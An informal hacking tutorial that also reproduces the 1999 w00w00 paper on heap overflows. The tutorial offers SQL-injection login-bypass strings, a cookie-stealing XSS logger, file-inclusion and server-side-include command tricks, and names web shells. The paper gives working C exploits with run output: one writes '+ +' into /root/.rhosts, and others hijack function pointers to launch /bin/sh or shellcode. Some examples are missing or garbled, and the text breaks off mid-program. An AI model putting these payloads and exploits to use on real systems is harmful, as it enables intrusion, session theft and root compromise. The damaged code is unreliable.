Hacking Guide (Basics -> Intermediate)

_________________________-[ Hacking Guide ]-_________________________

     A complete and thorough beginners guide to the art of hacking.

Table of Contents:

0x01| What is hacking?
0x02| HTML / JavaScript Manipulation
0x03| Basic Web Hacking Techniques
0x04| Brief introduction to crypto
0x05| Intermediate level Web Exploitation
0x06| Linux/UNIX Exploitation
0x07| Credits

            ==> 0x01 ["What is hacking?"];

First off, there are many variations of the term hacker and everyone's
definition is slightly different. Hacking in the eyes of many is the task
of breaking into computer systems and/or websites and screwing things up.
I'm here to tell you that the aforementioned definition is perfectly acceptable
if that's what you truly believe hacking to be. Hacking cannot be defined that easily
and people tend to mold and shape related terms like 'hacker' to fit their
own personal style. 

There are, however, people who deem themselves worthy of the term when they
clearly lack the required skillset. The category these people fall under is
widely known as the 'script kiddie'. To put it simply, a script kiddie is
someone who tries to get their name known in the underground community by
using publicly available exploits/programs that were made by real hackers
in an attempt to gain what I like to call 'e-rep' among their peers.

Chances are you have probably seen those "HACKED BY SAUDI_H4CK3R & DaRkViRuZ"
type of webpages. This is what is called a defacement, and we'll touch on that
later on in this guide.

Others see hacking as the process of creative problem solving and simply
circumventing limitations in a non-malicious manner. Whatever your views on
hacking are, this guide is for you -- So without further adieu, let's begin.

            ==> 0x02 ["HTML / JavaScript Manipulation"];

Since the beginning of time (well, the beginning of the Internet) people have used
HTML to create and view webpages. I guess after a period of time people grew tired
of plain old HTML pages and yearned for something more, like, er.. JavaScript.
With this newly engineered web scripting tool of leetness webmasters were able to 
spice up their pages. JavaScript opened an entire locker room of new doors for the
web industry, and allowed users to interact with the sites. This nifty little
scripting language also served as a form of website authentication security
before people realized how easily JavaScript login forms could be exploited.. despite
the whole 'security through obscurity' ordeal.

Below we see an example of a login/auth form in JavaScript:



Now, that is _really_ going to keep someone from intruding in on your site?
Hardly. A simple right-click, and an equally simple left click render this
form of web security useless. The clicks being: Right-Click, 'View Source'.

Of course, not all retarded.. I mean outdated, webmasters use the same method
of 'JavaScript security'. Some may tuck the file away neatly in an embedded area
which reads from a .js file. The simple solution to this would be to visit
the url containing the filename at the end of it, and voila.. of course this can
hardly be called hacking on its own. Another example of JavaScript's unreliablity
can be found here:
    function checkpass()
      alert('Error - Wrong Password');


At this point you are probably wondering how anyone is supposed to bypass
that motherfucker of a login. But what if we modify the code so instead
of it telling us we're wrong when we don't enter the correct password,
we make it tell us the contents of the variable 'password' and have the script
do all the calculations for us?! A simple modification of the line
"alert('Error - Wrong Password');" to "alert(password);" will do just that.
So now when the script is run, and the wrong password is supplied we are
presented with "ddoq_1597.2", the wonderful password.

            ==> 0x03 ["Basic Web Hacking Techniques"];

Alright so we've all seen those awesome defacement pages around the net, but have
you ever wondered how it's done? To be honest the majority of those defacements
are only existent due to people using a web-shell created by someone else. 
Sounding a little familiar? Yes, you guessed it.. the people who rely on web-shells
generally tend to be script kiddies.

However, there are those who legitimately hack into websites and deface them through
other means. A few exploitation techniques we'll be covering are the Local/Remote File
Inclusions, XSS (Cross-Site Scripting), and the infamous SQL Injection.

File inclusions tend to originate from vulnerable PHP code such as the following:




This could result in a local file inclusion just as easily as it could a Remote one.
You see, that code will accept anything supplied to the variable 'page' and will attempt
to execute or 'load' it onto the page. Being a plain text document it's quite hard to 
demonstrate and I'm no ASCII Artist thats for sure so here's something..


You may have seen a URL structured like that at some point and wondered what it's all about
but did you ever stop to think that it could be your way in? The use of directory transversals
and full path disclosure could aid you in Local file inclusions, especially if you're aiming
to obtain something like password hashes. Directory transversals simply put, backtrack or
'cycle' backwards through directories and basically clear the way for you to set the 'path'
to a file you want.

Time for yet another example:


Might result in (or something similar):

Warning: main(Array) [function.main]: failed to open stream: No such file or directory in /home/soccerfan/domains/site.com/site_data/index.php on line 296

From there you could try and access files you otherwise wouldn't have privelages to, due to the
fact that you're making the server request them, and of course the server is allowed.



If you're successful you might just find something like 'admin:DkjenDvfHC' on the page.
This is what's called a password hash and it is likely that it'll be encrypted.
Deciphering or 'cracking' password hashes can be done manually or by programs like 
John the Ripper. I will not be demonstrating the use of John the Ripper in this
guide due to the fact there are many tutorials regarding it's use out there, all you
need is a simple Google search query.

Remote File Inclusions aren't that much different.. rather than trying to read a local
file, you'll be making the server read a remote one:


Now, I know I said shells were mainly used by script kiddies.. but I didn't say you
couldn't use them for educational purposes! :-] Of course there's always the option of
coding your own, but at this stage in your hacking career that doesn't seem too likely.

There isn't much of a point explaining how to use a shell as there are many different ones
out there.. and trust me they're pretty self-explanitory. To name a few:

- C99
- r57
- TD Shell
- x2300

Alright, on to XSS or Cross-Site Scripting. This method of exploitation is basically the
injection of javascript, in most cases, into a page where it will be executed by other users.
People who use this method generally are hoping to steal other users' cookie data so they can
perform what is called 'Session Hijacking'. This is the process of replacing your *session* with
someone else's session, thus granting you access to their account - no password necessary.

Common areas for XSS attacks are profile pages, search boxes, and/or e-mail attachments.

An attacker could craft a page containing something like:


Which would redirect an unsuspecting user to the page 'stealer.php' on the attacker's web host.
The PHP file stealer.php would contain something along the lines of this:


$c = $HTTP_GET_VARS["cookie"];
$fp = fopen('logs.htm', 'a');
fwrite($fp, 'Cookie Data: ' .$c. '<br>');


I think by now you can pretty much guess what it does. In the event you aren't
able to, read this: "IT RECORDS THE USERS COOKIE DATA!!!!!" As always, here is your
example of what the attacker's log file might look like:

Cookie Data: bbsessionhash=1bdd8d247d831c2176f0264567a7cc54

Replacing cookie data isn't a hard task either, just enter this into your web browser.


            ==> 0x04 ["Brief introduction to Crypto"];

Since I am no expert myself in the area of crypto, I am going to briefly cover a couple
encryption methods..

Password hashes / Messages may be seen in the following forms and can be decrypted quite
easily provided that you have the necessary tools. The encrypting of messages is a technique that was used way back even during Caesar's time of rule. It was used during WWII by the Germans via a machine called the 'Enigma' to relay information about the enemy without their knowledge. 
Below are some standard encryption methods with their plaintext version underneath.

90378756d3bd6429f611227773e287c1 (MD5)

cm9mbGNvcHRlcg== (Base64)

67 75 6d 6d 79 62 65 61 72 (Hex)

01101000 01100101 01101100 01101100 01101111 (Binary)

And then there's Octal. Not so widely used today but still enough to be considered relevant.
The following string of numbers converts to "Octal is cool!".

117 143 164 141 154 040 151 163 040 143 157 157 154

            ==> 0x05 ["Intermediate level Web Exploitation"];

In this section you will learn about the basics of SQL Injection, poison null bytes,
and Serverside Includes (SSI).

As you may or may not know, many of today's websites are powered by things called databases,
many of which are MySQL based. Unfortunately (but fortunately for you!) MySQL has many flaws.
Well.. MySQL in itself is fine IMO, but the way it is often configured leaves intruders
with ever so tempting opportunity. For example, site logins are often bypassed via
a simple injection string. Variations of this include:

admin' OR 1=1-- */
' OR 1=1--
') OR 1=1--

..... and the list goes on. All an attacker is required to do is insert one of those into
both fields (username + password) and they'll be given access to the administrator account
granted that the website is vulnerable.

But this is just the tip of the iceberg for SQL Injections.. you can also trick the server
into dropping you entire user tables. MySQL organizes data into what are called 'tables'.
Inside these tables there are things called columns and rows which hold data such as usernames, emails, passwords, etc.. when exploiting a site running MySQL you need to first know the correct
number of columns, and find out which ones can be manipulated.

Again, because this is a simple text document my examples are limited:

http://somesite.com/news.php?id=6 <-- Just an ordinary request for news item #6

http://somesite.com/news.php?id=1+ORDER+BY+1 <-- 1+ORDER+BY+1 is used to count columns.. observe.
http://somesite.com/news.php?id=1+ORDER+BY+4 <-- Keep incrementing the second digit till an error
http://somesite.com/news.php?id=1+ORDER+BY+5 <-- is received
http://somesite.com/news.php?id=1+ORDER+BY+6 <-- Everythings fine so far..

But when we try it with '7' we get:

Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 ORDER BY 7) from DB: Unknown column '7' in 'order clause'

This is because there isn't a seventh column. So let's call the 6 columns that DO exist
with a query like this:


Now we might see something like the numbers '2' and '3' appear on the page, perhaps
of an unusual size, or portrayed as a hyperlink. These are the column numbers we need
to manipulate and could be the key to our success. Naturally, this is what I'd try:


Notice that I replaced 2 and 3 with username and password. But I have my doubts about any usernames and passwords being stored in a table called 'news'. Let's just change that to 'users' :-) Seems logical right? If successful you might be presented with something
like this...


Ta-da! Speaks for itself I think. Let's move on..

The poison null byte is simply "%00". It can be added onto the end of URLs that automatically
get file extentions placed at the end of variable input. Ex:


That attempt at a local file inclusion exploit might result in fail.. observe..


Extensions like .php.txt may be thrown into the mix to prevent you from reading important files.
Fortunately you can easily circumvent this using the poison null-byte:


It basically tells 'pending extensions' to go fuck themselves.

Oooooooooooooook...... and last but not least, serverside includes. A common place to find
these are within search fields. Say you are in a directory called /data/, and you want to
know what other files are in the current directory, but you are denied directory listing..
You can try inserting something simple like <!--#exec cmd="ls -liah"--> into the search
field. If successful, you will be presented with a list of every file in the current directory.

Hehe.. this just about concludes the web-hacking part of the guide.

            ==> 0x06 ["Linux/UNIX Exploitation"];

For simplicity's sake I'm going to copy/paste a paper I found on google that briefly covers
heap overflows [All credit goes to w00w00 Security Team]

Subject: w00w00 on Heap Overflows

This is a PRELIMINARY BETA VERSION of our final article! We apologize for
any mistakes.  We still need to add a few more things.

[ Note: You may also get this article off of ]
[ http://www.w00w00.org/articles.html.       ]

w00w00 on Heap Overflows
By: Matt Conover & w00w00 Security Team

Copyright (C) January 1999, Matt Conover & w00w00 Security Development

You may freely redistribute or republish this article, provided the
following conditions are met:

1. This article is left intact (no changes made, the full article
   published, etc.)

2. Proper credit is given to its authors; Matt Conover and the 
   w00w00 Security Development (WSD).

You are free to rewrite your own articles based on this material (assuming
the above conditions are met). It'd also be appreciated if an e-mail is
sent to either mattc@repsec.com or shok@dataforce.net to let us know you
are going to be republishing this article or writing an article based upon
one of our ideas.


  Heap/BSS-based overflows are fairly common in applications today; yet,
  they are rarely reported.  Therefore, we felt it was appropriate to
  present a "heap overflow" tutorial.  The biggest critics of this article
  will probably be those who argue heap overflows have been around for a
  while.  Of course they have, but that doesn't negate the need for such

  In this article, we will refer to "overflows involving the stack" as
  "stack-based overflows" ("stack overflow" is misleading) and "overflows
  involving the heap" as "heap-based overflows".

  This article should provide the following: a better understanding
  of heap-based overflows along with several methods of exploitation,
  demonstrations, and some possible solutions/fixes.  Prerequisites to
  this article: a general understanding of computer architecture, 
  assembly, C, and stack overflows.
  This is a collection of the insights we have gained through our research
  with heap-based overflows and the like.  We have written all the
  examples and exploits included in this article; therefore, the copyright
  applies to them as well.

Why Heap/BSS Overflows are Significant
 As more system vendors add non-executable stack patches, or individuals 
 apply their own patches (e.g., Solar Designer's non-executable stack
 patch), a different method of penetration is needed by security
 consultants (or else, we won't have jobs!).  Let me give you a few

   1. Searching for the word "heap" on BugTraq (for the archive, see
      www.geek-girl.com/bugtraq), yields only 40+ matches, whereas
      "stack" yields 2300+ matches (though several are irrelevant).  Also,
      "stack overflow" gives twice as many matches as "heap" does.

   2. Solaris (an OS developed by Sun Microsystems), as of Solaris
      2.6, sparc Solaris includes a "protect_stack" option, but not an
      equivalent "protect_heap" option.  Fortunately, the bss is not
      executable (and need not be).

   3. There is a "StackGuard" (developed by Crispin Cowan et. al.), but
      no equivalent "HeapGuard".

   4. Using a heap/bss-based overflow was one of the "potential" methods
      of getting around StackGuard.  The following was posted to BugTraq
      by Tim Newsham several months ago:

        > Finally the precomputed canary values may be a target
        > themselves.  If there is an overflow in the data or bss segments
        > preceding the precomputed canary vector, an attacker can simply
        > overwrite all the canary values with a single value of his
        > choosing, effectively turning off stack protection.

   5. Some people have actually suggested making a "local" buffer a
      "static" buffer, as a fix!  This not very wise; yet, it is a fairly
      common misconception of how the heap or bss work.

 Although heap-based overflows are not new, they don't seem to be well

   One argument is that the presentation of a "heap-based overflow" is
   equivalent to a "stack-based overflow" presentation.  However, only a
   small proportion of this article has the same presentation (if you
   will) that is equivalent to that of a "stack-based overflow".

 People go out of their way to prevent stack-based overflows, but leave
 their heaps/bss' completely open!  On most systems, both heap and bss are
 both executable and writeable (an excellent combination).  This makes
 heap/bss overflows very possible.  But, I don't see any reason for the
 bss to be executable!  What is going to be executed in zero-filled

 For the security consultant (the ones doing the penetration assessment),
 most heap-based overflows are system and architecture independent,
 including those with non-executable heaps.  This will all be demonstrated
 in the "Exploiting Heap/BSS Overflows" section.

 An executable file, such as ELF (Executable and Linking Format)
 executable, has several "sections" in the executable file, such as: the
 PLT (Procedure Linking Table), GOT (Global Offset Table), init 
 (instructions executed on initialization), fini (instructions to be 
 executed upon termination), and ctors and dtors (contains global 

"Memory that is dynamically allocated by the application is known as the
heap." The words "by the application" are important here, as on good
systems most areas are in fact dynamically allocated at the kernel level,
while for the heap, the allocation is requested by the application.

Heap and Data/BSS Sections
 The heap is an area in memory that is dynamically allocated by the
 application.  The data section initialized at compile-time.

 The bss section contains uninitialized data, and is allocated at
 run-time.  Until it is written to, it remains zeroed (or at least from
 the application's point-of-view).

   When we refer to a "heap-based overflow" in the sections below, we are
   most likely referring to buffer overflows of both the heap and data/bss
 On most systems, the heap grows up (towards higher addresses).  Hence,
 when we say "X is below Y," it means X is lower in memory than Y.

Exploiting Heap/BSS Overflows
 In this section, we'll cover several different methods to put heap/bss
 overflows to use.  Most of examples for Unix-dervied x86 systems, will
 also work in DOS and Windows (with a few changes).  We've also included 
 a few DOS/Windows specific exploitation methods.  An advanced warning:
 this will be the longest section, and should be studied the most.

   In this article, I use the "exact offset" approach.  The offset
   must be closely approximated to its actual value.  The alternative is
   "stack-based overflow approach" (if you will), where one repeats the 
   addresses to increase the likelihood of a successful exploit.

 While this example may seem unnecessary, we're including it for those who
 are unfamiliar with heap-based overflows.  Therefore, we'll include this
 quick demonstration:
   /* demonstrates dynamic overflow in heap (initialized data) */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 16
   #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

   int main()
      u_long diff;
      char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);

      memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';

      printf("before overflow: buf2 = %s\n", buf2);
      memset(buf1, 'B', (u_int)(diff + OVERSIZE));
      printf("after overflow: buf2 = %s\n", buf2);

      return 0;

 If we run this, we'll get the following:
   [root /w00w00/heap/examples/basic]# ./heap1 8
   buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
   before overflow: buf2 = AAAAAAAAAAAAAAA
   after overflow: buf2 = BBBBBBBBAAAAAAA

 This works because buf1 overruns its boundaries into buf2's heap space.
 But, because buf2's heap space is still valid (heap) memory, the program
 doesn't crash. 

   A possible fix for a heap-based overflow, which will be mentioned
   later, is to put "canary" values between all variables on the heap
   space (like that of StackGuard mentioned later) that mustn't be changed
   throughout execution.

 You can get the complete source to all examples used in this article,
 from the file attachment, heaptut.tgz.  You can also download this from
 our article archive at http://www.w00w00.org/articles.html.

   To demonstrate a bss-based overflow, change line:
   from: 'char *buf = malloc(BUFSIZE)', to: 'static char buf[BUFSIZE]'

 Yes, that was a very basic example, but we wanted to demonstrate a heap
 overflow at its most primitive level.  This is the basis of almost
 all heap-based overflows.  We can use it to overwrite a filename, a
 password, a saved uid, etc.  Here is a (still primitive) example of 
 manipulating pointers:
   /* demonstrates static pointer overflow in bss (uninitialized data) */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define BUFSIZE 16
   #define ADDRLEN 4 /* # of bytes in an address */

   int main()
      u_long diff;
      static char buf[BUFSIZE], *bufptr;

      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      memset(buf, 'A', (u_int)(diff + ADDRLEN));

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", 
             &bufptr, bufptr, buf, diff, diff);

      return 0;

 The results:
   [root /w00w00/heap/examples/basic]# ./heap3
   bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
   bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes
 When run, one clearly sees that the pointer now points to a different
 address.  Uses of this?  One example is that we could overwrite a 
 temporary filename pointer to point to a separate string (such as
 argv[1], which we could supply ourselves), which could contain
 "/root/.rhosts".  Hopefully, you are starting to see some potential uses.

 To demonstrate this, we will use a temporary file to momentarily save
 some input from the user. This is our finished "vulnerable program":
    * This is a typical vulnerable program.  It will store user input in a
    * temporary file.
    * Compile as: gcc -o vulprog1 vulprog1.c

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define ERROR -1
   #define BUFSIZE 16

    * Run this vulprog as root or change the "vulfile" to something else.
    * Otherwise, even if the exploit works, it won't have permission to
    * overwrite /root/.rhosts (the default "example").

   int main(int argc, char **argv)
      FILE *tmpfd;
      static char buf[BUFSIZE], *tmpfile;

      if (argc <= 1)
         fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);

      tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
      printf("before: tmpfile = %s\n", tmpfile);

      printf("Enter one line of data to put in %s: ", tmpfile);

      printf("\nafter: tmpfile = %s\n", tmpfile);

      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == NULL)
         fprintf(stderr, "error opening %s: %s\n", tmpfile, 


      fputs(buf, tmpfd);


 The aim of this "example" program is to demonstrate that something of 
 this nature can easily occur in programs (although hopefully not setuid
 or root-owned daemon servers).

 And here is our exploit for the vulnerable program:
    * Copyright (C) January 1999, Matt Conover & WSD
    * This will exploit vulprog1.c.  It passes some arguments to the
    * program (that the vulnerable program doesn't use).  The vulnerable
    * program expects us to enter one line of input to be stored
    * temporarily.  However, because of a static buffer overflow, we can
    * overwrite the temporary filename pointer, to have it point to
    * argv[1] (which we could pass as "/root/.rhosts").  Then it will
    * write our temporary line to this file.  So our overflow string (what
    * we pass as our input line) will be: 
    *   + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
    * We use "+ +" (all hosts), followed by '#' (comment indicator), to
    * prevent our "attack code" from causing problems.  Without the 
    * "#", programs using .rhosts would misinterpret our attack code.
    * Compile as: gcc -o exploit1 exploit1.c

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 256

   #define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */

   #define VULPROG "./vulprog1"
   #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

   /* get value of sp off the stack (used to calculate argv[1] address) */
   u_long getesp()
      __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */

   int main(int argc, char **argv)
      u_long addr;

      register int i;
      int mainbufsize;

      char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

      /* ------------------------------------------------------ */
      if (argc <= 1)
         fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
      /* ------------------------------------------------------ */

      memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

      memset(buf + strlen(buf), 'A', DIFF);
      addr = getesp() + atoi(argv[1]);

      /* reverse byte order (on a little endian system) */
      for (i = 0; i < sizeof(u_long); i++)
         buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

      mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

      mainbuf = (char *)malloc(mainbufsize);
      memset(mainbuf, 0, sizeof(mainbufsize));

      snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
               buf, VULPROG, VULFILE);

      printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
             addr, VULFILE);

      return 0;      


 Here's what happens when we run it:
   [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 320
   Overflowing tmpaddr to point to 0xbffffd60, check /root/.rhosts after.

   before: tmpfile = /tmp/vulprog.tmp
   Enter one line of data to put in /tmp/vulprog.tmp:
   after: tmpfile = /vulprog1

 Well, we can see that's part of argv[0] ("./vulprog1"), so we know we are
   [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330
   Overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.

   before: tmpfile = /tmp/vulprog.tmp
   Enter one line of data to put in /tmp/vulprog.tmp:
   after: tmpfile = /root/.rhosts
   [root /tmp/heap/examples/advanced/vul-pkg1]#

 Got it!  The exploit overwrites the buffer that the vulnerable program
 uses for gets() input.  At the end of its buffer, it places the address
 of where we assume argv[1] of the vulnerable program is.  That is, we
 overwrite everything between the overflowed buffer and the tmpfile
 pointer.  We ascertained the tmpfile pointer's location in memory by
 sending arbitrary lengths of "A"'s until we discovered how many "A"'s it
 took to reach the start of tmpfile's address.  Also, if you have
 source to the vulnerable program, you can also add a "printf()" to print
 out the addresses/offsets between the overflowed data and the target data
 (i.e., 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').

 (Un)fortunately, the offsets usually change at compile-time (as far as
 I know), but we can easily recalculate, guess, or "brute force" the

   Now that we need a valid address (argv[1]'s address), we must reverse
   the byte order for little endian systems.  Little endian systems use
   the least significant byte first (x86 is little endian) so that
   0x12345678 is 0x78563412 in memory.  If we were doing this on a big
   endian system (such as a sparc) we could drop out the code to reverse
   the byte order.  On a big endian system (like sparc), we could leave
   the addresses alone.

 Further note: 
   So far none of these examples required an executable heap! As I
   briefly mentioned in the "Why Heap/BSS Overflows are Significant"
   section, these (with the exception of the address byte order) previous
   examples were all system/architecture independent. This is useful in
   exploiting heap-based overflows.

 With knowledge of how to overwrite pointers, we're going to show how to
 modify function pointers.  The downside to exploiting function pointers
 (and the others to follow) is that they require an executable heap.

 A function pointer (i.e., "int (*funcptr)(char *str)") allows a
 programmer to dynamically modify a function to be called.  We can
 overwrite a function pointer by overwriting its address, so that when
 it's executed, it calls the function we point it to instead. This is
 good news because there are several options we have.  First, we
 can include our own shellcode. We can do one of the following with

   1. argv[] method: store the shellcode in an argument to the program
      (requiring an executable stack)

   2. heap offset method: offset from the top of the heap to the
      estimated address of the target/overflow buffer (requiring an
      executable heap)

 Note: There is a greater probability of the heap being executable than
 the stack on any given system.  Therefore, the heap method will probably
 work more often.

 A second method is to simply guess (though it's inefficient) the address
 of a function, using an estimated offset of that in the vulnerable
 program.  Also, if we know the address of system() in our program, it
 will be at a very close offset, assuming both vulprog/exploit were
 compiled the same way.  The advantage is that no executable is required.

   Another method is to use the PLT (Procedure Linking Table) which shares
   the address of a function in the PLT.  I first learned the PLT method
   from str (stranJer) in a non-executable stack exploit for sparc.

 The reason the second method is the preferred method, is simplicity.
 We can guess the offset of system() in the vulprog from the address of
 system() in our exploit fairly quickly.  This is synonymous on remote
 systems (assuming similar versions, operating systems, and 
 architectures).  With the stack method, the advantage is that we can do
 whatever we want, and we don't require compatible function pointers
 (i.e., char (*funcptr)(int a) and void (*funcptr)() would work the same).
 The disadvantage (as mentioned earlier) is that it requires an
 executable stack.

 Here is our vulnerable program for the following 2 exploits:
    * Just the vulnerable program we will exploit.
    * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64

   int goodfunc(const char *str); /* funcptr starts out as this */

   int main(int argc, char **argv)
      static char buf[BUFSIZE];
      static int (*funcptr)(const char *str);

      if (argc <= 2)
         fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);

      printf("(for 1st exploit) system() = %p\n", system);
      printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
      printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);

      funcptr = (int (*)(const char *str))goodfunc;
      printf("before overflow: funcptr points to %p\n", funcptr);

      memset(buf, 0, sizeof(buf));
      strncpy(buf, argv[1], strlen(argv[1]));
      printf("after overflow: funcptr points to %p\n", funcptr);

      return 0;

   /* ---------------------------------------------- */

   /* This is what funcptr would point to if we didn't overflow it */
   int goodfunc(const char *str)
      printf("\nHi, I'm a good function.  I was passed: %s\n", str);
      return 0;

 Our first example, is the system() method:
    * Copyright (C) January 1999, Matt Conover & WSD
    * Demonstrates overflowing/manipulating static function pointers in
    * the bss (uninitialized data) to execute functions.
    * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
    * To compile use: gcc -o exploit1 exploit1.c

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 64 /* the estimated diff between funcptr/buf */

   #define VULPROG "./vulprog" /* vulnerable program location */
   #define CMD "/bin/sh" /* command to execute if successful */

   #define ERROR -1

   int main(int argc, char **argv)
      register int i;
      u_long sysaddr;
      static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

      if (argc <= 1)
         fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
         fprintf(stderr, "[offset = estimated system() offset]\n\n");


      sysaddr = (u_long)&system - atoi(argv[1]);
      printf("trying system() at 0x%lx\n", sysaddr);

      memset(buf, 'A', BUFSIZE);

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, CMD, NULL);
      return 0;

 When we run this with an offset of 16 (which may vary) we get:
   [root /w00w00/heap/examples]# ./exploit1 16
   trying system() at 0x80484d0
   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
   (for 2nd exploit, heap offset method) buf = 0x804a9a8

   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0x80484d0

 And our second example, using both argv[] and heap offset method:
    * Copyright (C) January 1999, Matt Conover & WSD
    * This demonstrates how to exploit a static buffer to point the
    * function pointer at argv[] to execute shellcode.  This requires
    * an executable heap to succeed.
    * The exploit takes two argumenst (the offset and "heap"/"stack").  
    * For argv[] method, it's an estimated offset to argv[2] from 
    * the stack top.  For the heap offset method, it's an estimated offset
    * to the target/overflow buffer from the heap top.
    * Try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    * To compile use: gcc -o exploit2 exploit2.c

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64 /* estimated diff between buf/funcptr */

   #define VULPROG "./vulprog" /* where the vulprog is */

   char shellcode[] = /* just aleph1's old shellcode (linux x86) */

   u_long getesp()
      __asm__("movl %esp,%eax"); /* set sp as return value */

   int main(int argc, char **argv)
      register int i;
      u_long sysaddr;
      char buf[BUFSIZE + sizeof(u_long) + 1];

      if (argc <= 2)
         fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);

      if (strncmp(argv[2], "stack", 5) == 0)
         printf("Using stack for shellcode (requires exec. stack)\n");

         sysaddr = getesp() + atoi(argv[1]);
         printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);

         memset(buf, 'A', BUFSIZE + sizeof(u_long));

         printf("Using heap buffer for shellcode "
                "(requires exec. heap)\n");

         sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
         printf("Using 0x%lx as our buffer's address\n\n", sysaddr);

         if (BUFSIZE + 4 + 1 < strlen(shellcode))
            fprintf(stderr, "error: buffer is too small for shellcode "
                            "(min. = %d bytes)\n", strlen(shellcode));


         strcpy(buf, shellcode);
         memset(buf + strlen(shellcode), 'A',
                BUFSIZE - strlen(shellcode) + sizeof(u_long));

      buf[BUFSIZE + sizeof(u_long)] = '\0';

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;

 When we run this with an offset of 334 for the argv[] method we get:
   [root /w00w00/heap/examples] ./exploit2 334 stack
   Using stack for shellcode (requires exec. stack)
   Using 0xbffffd16 as our argv[1] address

   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd16
   (for 2nd exploit, heap offset method) buf = 0x804a9a8

   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0xbffffd16

 When we run this with an offset of 428-442 for the heap offset method we get:
   [root /w00w00/heap/examples] ./exploit2 428 heap
   Using heap buffer for shellcode (requires exec. heap)
   Using 0x804a9a8 as our buffer's address

   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd16
   (for 2nd exploit, heap offset method) buf = 0x804a9a8

   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0x804a9a8

   Another advantage to the heap method is that you have a large
   working range. With argv[] (stack) method, it needed to be exact.  With
   the heap offset method, any offset between 428-442 worked.

 As you can see, there are several different methods to exploit the same
 problem.  As an added bonus, we'll include a final type of exploitation
 that uses jmp_bufs (setjmp/longjmp).  jmp_buf's basically store a stack
 frame, and jump to it at a later point in execution.  If we get a chance
 to overflow a buffer between setjmp() and longjmp(), that's above the
 overflowed buffer, this can be exploited.  We can set these up to emulate
 the behavior of a stack-based overflow (as does the argv[] shellcode
 method used earlier, also).  Now this is the jmp_buf for an x86 system.
 These will needed to be modified for other architectures, accordingly.

 First we will include a vulnerable program again:
    * This is just a basic vulnerable program to demonstrate
    * how to overwrite/modify jmp_buf's to modify the course of
    * execution.

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <setjmp.h>

   #define ERROR -1
   #define BUFSIZE 16

   static char buf[BUFSIZE];
   jmp_buf jmpbuf;

   u_long getesp()
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */

   int main(int argc, char **argv)
      if (argc <= 1)
